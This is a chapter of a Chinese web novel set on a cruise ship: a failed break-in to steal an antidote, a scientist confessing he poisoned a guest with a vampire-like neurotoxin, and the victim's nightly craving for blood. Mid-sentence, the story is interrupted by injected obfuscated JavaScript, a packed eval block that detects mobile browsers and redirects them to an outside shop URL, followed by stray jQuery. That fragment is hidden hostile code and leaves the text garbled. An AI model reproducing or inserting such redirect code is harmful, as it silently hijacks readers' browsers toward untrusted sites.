开放酒吧距离宋哲恩的房间并不远,喻明一路畅通无阻地来到了客房门口。
宋哲恩住在游轮的低层客房,与钟仪他们不在同一片区域。这也是把客人们稍作区分,住得越往上便代表客人越尊贵、越是与塞拉斯本人有密切往来的合作伙伴。
这里的门锁设备也略显简单,是需要钥匙开启的传统锁,安保级别相对也低一些。
喻明见附近没人,迅速地撬开了锁。
门锁“咔嗒”一声旋开,里面便再无阻拦。
喻明心中暗自思忖,这一趟未免也太过顺利了。不过看刚才宋哲恩不加掩饰的表情,或许这人可能就没什么心机,再加上他们是临时起意要在这个时间偷解药,普通人没反应过来也是常见的。
他闪身进去,还未等他仔细端详屋内陈设,就听见一阵“滴滴滴滴”的声音响个不停。
是警报声!
喻明迅速退到门外,这地面上就铺满了警报触发器,只要感受到压力就开始报警。
可警报声并没有因为他的退出而偃旗息鼓,依旧“滴滴滴”地不停歇。
喻明心道不妙,他们这是中计了。
-
刚刚一番话让雷恩色变,甚至让她有隐隐憋不住怒气的迹象。
钟仪心知自己的一席话已经在雷恩心中掀起了不小的波澜。就是不知道雷恩会怎样做呢?她平常看上去是个不出格的人,但她既然冒着让塞拉斯不高兴的风险来到了游轮上,就说明她还是更看重自己的姐姐,而非什么家族利益。
钟仪就赌她知道姐姐有难后不会忍气吞声。
钟仪看了看表,距离喻明出去已经有将近十五分钟了。算算路程,他这会儿应该到宋哲恩的客房门口了。
她不经意地瞥向宋哲恩所在的方位,那人正摆弄着手机,似乎不知道自己的据点已经快被入侵了。
谁知下一秒,宋哲恩竟举起手机,直直地向钟仪看过来——
钟仪表面上毫无波澜,原本还想装作是不经意和他对视上了,但在看清宋哲恩神色的那一刻她就感到了不对劲。
他态度嚣张,眼中写着近乎嘲讽的表情。
再往下看,他已经将手机屏幕朝向钟仪,上面不知道打开了什么程序,闪动着刺目的红色警报。
明晃晃的挑衅。
他已经知道喻明在试图进入他的房间。
也就是说,他知道钟仪他们在找解药。
她已经暴露了。
-
房间内,塞拉斯正在思考怎么处理菲利克斯的事。
这个老钱家族的小儿子看起来无所事事,但实际上在打他的主意,在打卓尔集团新品的主意,手段无所不用其极,大有不拿到手誓不罢休的态度。
如果是只是想要产品,那他也可以大度地与他们家族谈一谈,可如果是要产品背后的技术,那他可不会乐意,这是要断他的财路。
更何况他还在菲利克斯的手笔下遇险。他不会轻易忘记这件事。
真是屋漏偏逢连夜雨。
克洛伊的身体也在之前的几次,,中受到了不小的损伤,她最近总是说自己头疼,似乎忘记了什么事情。塞拉斯总是安抚她那都是药物的副作用,其实她没有忘记任何事,但只有他自己知道,这是她恢复记忆的征兆。“克洛伊”要消失了,这具身体原本的“那个她”要回来了。
塞拉斯不会允许这种事发生。他以医生让她好好休息为由,近几天几乎24小时都让她待在休养仓里。
房门被敲响,这里又来了客人。
但开门看清是谁之后,塞拉斯面色一沉,“你怎么上来的?”
宋哲恩也并不因塞拉斯的挂脸而气恼,反倒笑笑,“我是来向您汇报实验情况的。您说过的,只要我的‘血栖素’真的能实现那些功效,就就让我进入卓尔集团的科研所。”
塞拉斯的表情变幻几许,还是让他进了门。
他并不是很看好眼前的这个年轻博士。一来是因为他的科研方向与卓尔目前主攻的课题并不一致,二来,他总觉得这人心思不纯,让他进入卓尔集团没准是一次引狼入室,宋哲恩会把一切都当做自己的垫脚石拼命往上爬,来实现自己的野心与抱负,但塞拉斯只想要听话顺手的工具。
在看人这方面,塞拉斯很少出错。
但宋哲恩向自己介绍了他的最新科研成果,他称之为“血栖素”,是一种溶血性神经毒素,被下毒者会神情恍惚,出现类似吸血鬼的症状。
塞拉斯对吸血鬼什么的不敢兴趣,但神经毒素让他看到了另一种可能性,或许在未来会发掘出更丰富的用途、开辟更广阔的市场,当然,也会产生更可观的收益。
“你的实验数据呢?给我看看。”
宋哲恩不紧不慢道:“与其看冷冰冰的数据,您不如亲眼去看,亲耳去听。”
“什么意思?”
“您船上的乘客,塞尔维娅小姐,就是我精心挑选的实验对象。我已经确定血栖素在她身上起效,这是您的游轮,您可以直观地看到我的实验结果。”
塞拉斯又惊又怒,“你居然挑我的客人下手!你知不知道她的父亲是我未来将要发展的合作对象,这下我怎么向他交代?!”
宋哲恩表现得无所谓,“血栖素并不会产生太多副作用,您在确认成果后我就可以给她解药,这几天的所有症状都会消失不见。”
“更何况,您就不觉得这位塞尔维娅小姐和她身边的男人都很可疑吗?他们刚刚互相配合,去我的房间想偷走解药,这样的智谋她可从未表露出来,她在藏拙啊。”
“您把她当做尊贵的客人,她心里不一定打着什么主意呢。”
塞拉斯皱眉,“居然有这回事?”
那他可得好好观察一下这两个人了。
之前他也起过疑心,但从来没有真正抓到过什么证据。如今看来不是他们无辜,是他们太过狡猾。
-
自知事情败露,钟仪找借口与雷恩匆匆告别。
她要快点与喻明汇合。之前他们从未失手,也没有想过失败后的应对方案。
一路上行走到客房走廊,却见喻明也在门外站着。
“怎么回事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644727|204113||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
喻明指了指不远处的清洁车,“客房清洁,等会儿再进去。”
比起他为什么在走廊罚站,钟仪更关心另一件事,“刚才具体什么情况?宋哲恩已经发现我们了,刚刚还向我挑衅。”
“他房间的地板上铺满了警报器,一进人就会触发。是我大意了,要是我刚刚再……”
“现在不是说这个的时候。”钟仪打断了他的自我检讨,她也压根没怪罪过喻明,谁进去都不会料到地板上铺满了隐形感应器。
保洁很快打扫完毕,请他们回去。
一迈进门,钟仪就道:“再想进去是不可能了,我只能试着找宋哲恩谈判。”
“找他会有用吗?我总觉得他给你下药和塞拉斯有关系。”
钟仪不语,她也想到了这个可能,但眼下她想不到别的方法了。
“还有,你今晚……打算怎么办?”
“你有安眠药吗?”钟仪打算直接把自己弄晕,她不知道这样起不起作用,但总比眼睁睁看着自己发疯强得多。
“没,我现在就去医疗中心。”
喻明看了眼外面的天,已经暗了一小半。他们在与时间赛跑。
喻明出门后,钟仪的心愈发焦躁,她很久没有这种失手的感受了,局面很被动,而实际情况也许比她已知的还要糟糕。
看着天色一点点黑下去,钟仪的心也沉到了谷底。
-
这一路不赶巧,途中总冒出来各种突发事件拦住他的去路,就像有人故意为之似的。当赶回房间时,夜幕已完全降临了。
“我回来了,你还好吗?”
房间里灯还是黑沉着的,喻明感到不妙。
如果钟仪是在清醒的状态下,不会天黑了还不开灯的。但吸血鬼这样的生物会有畏光的特质。
他不祥的预感很快得到了印证。
劲瘦的腰被一双手臂圈住,迎面而来的气息熟悉又陌生。
喻明试图把她的手放下去,“我现在就喂你吃药。”
可钟仪的身体纹丝不动,这股蛮力比平时更大,一伸手就把喻明手中的药瓶打飞。
药瓶击中客厅墙壁,清脆的撞击声传入耳中,紧接着是瓶子骨碌碌滚远的声音。
直觉告诉喻明,钟仪今晚的症状似乎比昨日更猛烈。
很快,钟仪没有止步于此,她熟练地攀上了他的肩膀,轻轻咬上了喻明的唇瓣。
但他知道,温存只会是片刻的,昨晚的经历已经告诉他,钟仪下一步就要咬得他血流不止。
喻明猛地推开钟仪,他突然想到了一个解决方法,或许可以解她一时之急。
“医疗中心有备用的血浆,我给你取来好不好?”
“不好。”钟仪口齿清晰地拒绝他。
“谁知道那些都是什么人的血,干不干净就给我喝?”她再度贴过来,“我就要你的。”
喻明听到这话的第一反应是,不错,今晚至少可以正常对话了。
不过现在的麻烦也大得很,看样子,吸血鬼小姐是把自己当成她的专用血包了。